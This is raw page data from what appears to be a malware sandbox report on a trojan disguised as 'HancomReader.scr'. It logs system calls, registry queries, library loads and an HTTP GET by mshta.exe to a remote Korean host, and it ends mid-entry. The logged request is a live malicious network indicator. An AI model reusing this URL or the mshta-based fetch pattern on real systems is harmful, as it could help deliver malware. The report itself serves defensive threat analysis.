24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 39:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T48b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample ff79c5eb93f3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ff79c5eb93f3…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 6 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ff79c5eb93f3da35addec749f36631612e288ac4f86e793920a0cdb6b68c9c8f","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","ff79c5eb93f3da35addec749f36631612e288ac4f86e793920a0cdb6b68c9c8f"],"about":{"@type":"SoftwareApplication","name":"HancomReader.scr","applicationCategory":["peexe","executable"],"identifier":"ff79c5eb93f3da35addec749f36631612e288ac4f86e793920a0cdb6b68c9c8f","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":12,"total":28},"behavioralIndicators":{"malicious":6,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T89f,Assembly shows XOR instruction xor eax ebp in Stream UID: 43024-67-00403576 Assembly shows XOR instruction xor ecx ebp in Stream UID: 43024-67-00403576 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-33-003713D3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-33-003713D3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-14-0037491C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-14-0037491C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-67-00373576 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-67-00373576 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-73-00375687 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-73-00375687 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-65-00373826 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-65-00373826 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-46-00371000 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-46-00371000 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-69-0037545A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-69-0037545A Assembly shows XOR instruction xor esi dword ptr [ebp-08h] in Stream UID: 00000000-00003992-44969-108-003729BF Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00003992-44969-108-003729BF Assembly shows XOR instruction xor eax dword ptr [ebp-10h] in Stream UID: 00000000-00003992-44969-108-003729BF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-10-0037194A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-10-0037194A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003992-44969-137-00372AE9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003992-44969-137-00372AE926:T10f9,Contains base64 string in header "html" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "Language" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "USAccept" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "Host" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "krConnection" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /member/check/dat/1.html HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: goodmarket.or.krConnection: Keep-Alive"27:T3b08,".exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000005300288553002385530000000000000000000000500000000001acd92d000000000010e72d0095e15677005d3700feffffff435c5a7750595a77aa000000b8000000228553002085530034db2d006cdf2d0000000000000000000000000000000000000000000000000000000000000000001c5c597760d87475ffffffff17000000e4da2d002400000003000000d4df2d0000e52d006cdf2d008600000010db2d0096ed5a774a855300a06a30758600000034db2d006cdf2d000000000086008800a06a307534db2d00916c30754a855300a06a3075a06a3075a4df2d0002020000 (UID: 00000000-00003992) ".exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003992) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c8ec2800000000000000000000000000feffffffa0ec2800cf005b77d6005b77f1ba45773a0000001d00000018ed28000000000074ec280000000000 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002800c2a25d760ba3f245feffffff6dd15776c6d257769400000002000000fcee2800dbd2577600000000e2d25776879c8d330000000000000000000000004200420070e7ea75e2d25776639d8d3300000000c71534760000000000000000b4ee2800c2a25d7680f02800c2a25d7693a0f245feffffffe2d25776b2d157769400000070e7ea75000000000100000040ef2800000000004cef28005d35eb759400000070e7ea75000000000100000040ef28009880ea7500000000000000007cf1ea75000000007cef28001835eb75e8c2f9750000000078ef280060000000c4ef2800 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088fdea7580f0280095e15677214e3700feffffff60ee2800c8f95776020000000001000078ee28005ce15676ff2b5a77a1b84577d8fedc68ac0138000000380073e256763429dd68140098002c0100009cee28000001000094e2567614000000150093002c010000414a3700feffffff087038009a2a5a77200000000000000000000000784b3a00f86c3800186e380060a03b00c0713800000000006cee28000000000080f0280095e15677414a3700feffffffff2b5a779a2a5a77d8fedc6801000000000000009400000080f02800c2a25d760200000000000000f4dedc68 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000003c00003b00000000380000000000e07c3c0088e9280004645a7738013800e0635a77d9bf45770000000000003800e87c3c006dd157764f9b8d336cae8475000000000000000000000000603c005cc40038000100000000003800500138000c000000e87c3c000000000002000000180000002400000064e9280000000000000000000300000028e928003c6e5a77000000000000000000000000888c3a00c0755f76888c3a0000000000c0755f7644e9280079da577600000000020000009ce92800dbd2577600000000e2d25776e79b8d33603c0000ff2b5a77b5bf4577ffffffff (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae004200000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d33000000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000005a77c1bf4577340000c044ea280024eb280068e928000000000004ea280095e15677214e3700feffffffec385a773dd157766dd157766f988d331c1785750000000000000000200000001cea280044ea2800000000000000380098cb3d0098cb3d00180000000f00b100d0010000180000004002000044ea280030c63d000600000030ea280000000000000000000000000090ea28000000000090ea2800148e5676000000001c8e5676eb988d33000000000100000088973e00020000007cea2800000000000000000079dc577607988d33000000000100000088973e0000000000 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae004600000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d33010000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae004e00000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d33030000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae005200000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d33040000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae005a00000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d33070000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae005e00000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d33090000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae006200000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d33060000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae006600000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d33080000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae006a00000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d330b0000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae006e00000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d330a0000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae007200000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d330d0000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae007600000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d330c0000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae007a00000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d330f0000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000280088e72800340000c0e0e72800dbd2577600000000e2d257769b958d337e00000001000000010000007c007c00808af6754c0000005076ea754c000000c71534760000000000003800088d3c00200000004ce828001400ae007e00000028e828001c565a77088d3c00b0873c0001000000008d3c000ce8280000295a77e0e8280054e8280000000000008d3c0020e828005c555a770000380000000000088d3c0030e8280067555a7700000000a4e828004bde57760000000053de5776df9a8d330e0000000000000040eb28000800090040198575000000000000000072006500 (UID: 00000000-00003372) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000f8e4b80000002303414a37019ce2b802ff2b5a77f8e4b80295e1567779443700feffffff435c5a7750595a7734020000400200008a052303880523031000000080000000ff2b5a7745b2d57520a3096fac013800000038000100000090ba3b00180084009f00000000d16173ac013800000038008805230319007f009f0000009f000000bcee5a770870380000002303200000001a007a000000000020243d00f86c3800186e3800088a3e00c07138000000230390e3b80220243d0010e5b80295e15677414a3700feffffffff2b5a779a2a5a7720a3096f10a3096f00000000 (UID: 00000000-00003372)28:T8bc,"mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100771a00000065bf457700000000c0233d00f86c3800186e380098cb3d00c071380095e15677c0e82800fefffffff8e9280095e15677414a3700feffffffff2b5a779a2a5a771cea280024eb280044ea2800340000c090e92800e7385a77ec385a77c1bf4577340000c044ea280024eb2800 (UID: 00000000-00003372) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003372) "mshta.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003372) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077ec385a7765bf457748ea2800105e59777ce928000ce928001c5e597788ea280095e15677214e3700feffffffec385a7761d65776340000c05d0d347634eb28006ed657767c02000070ea280078ea2800ff2b5a7774ea28000200000000000000000000007c020000e89d3e007ce92800 (UID: 00000000-00003372) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077ec385a7765bf457748ea2800105e59777ce928000ce928001c5e597788ea280095e15677214e3700feffffffec385a7761d65776340000c05d0d347634eb28006ed657767c02000070ea280078ea2800ff2b5a7774ea28000200000000000000000000007c02000028a23e007ce92800 (UID: 00000000-00003372) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077ec385a7765bf457748ea2800105e59777ce928000ce928001c5e597788ea280095e15677214e3700feffffffec385a7761d65776340000c05d0d347634eb28006ed657767c02000070ea280078ea2800ff2b5a7774ea28000200000000000000000000007c02000090a63e007ce92800 (UID: 00000000-00003372)29:T722,"mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")2a:T171c,".exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003992) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003992) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003992) ".exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003992) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003992) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter OLEACC.DLL (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Oleacc.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DXGIDebug.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\D3D10Warp.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter D3D10Warp.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Microsoft Office\Office14\outllib.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter 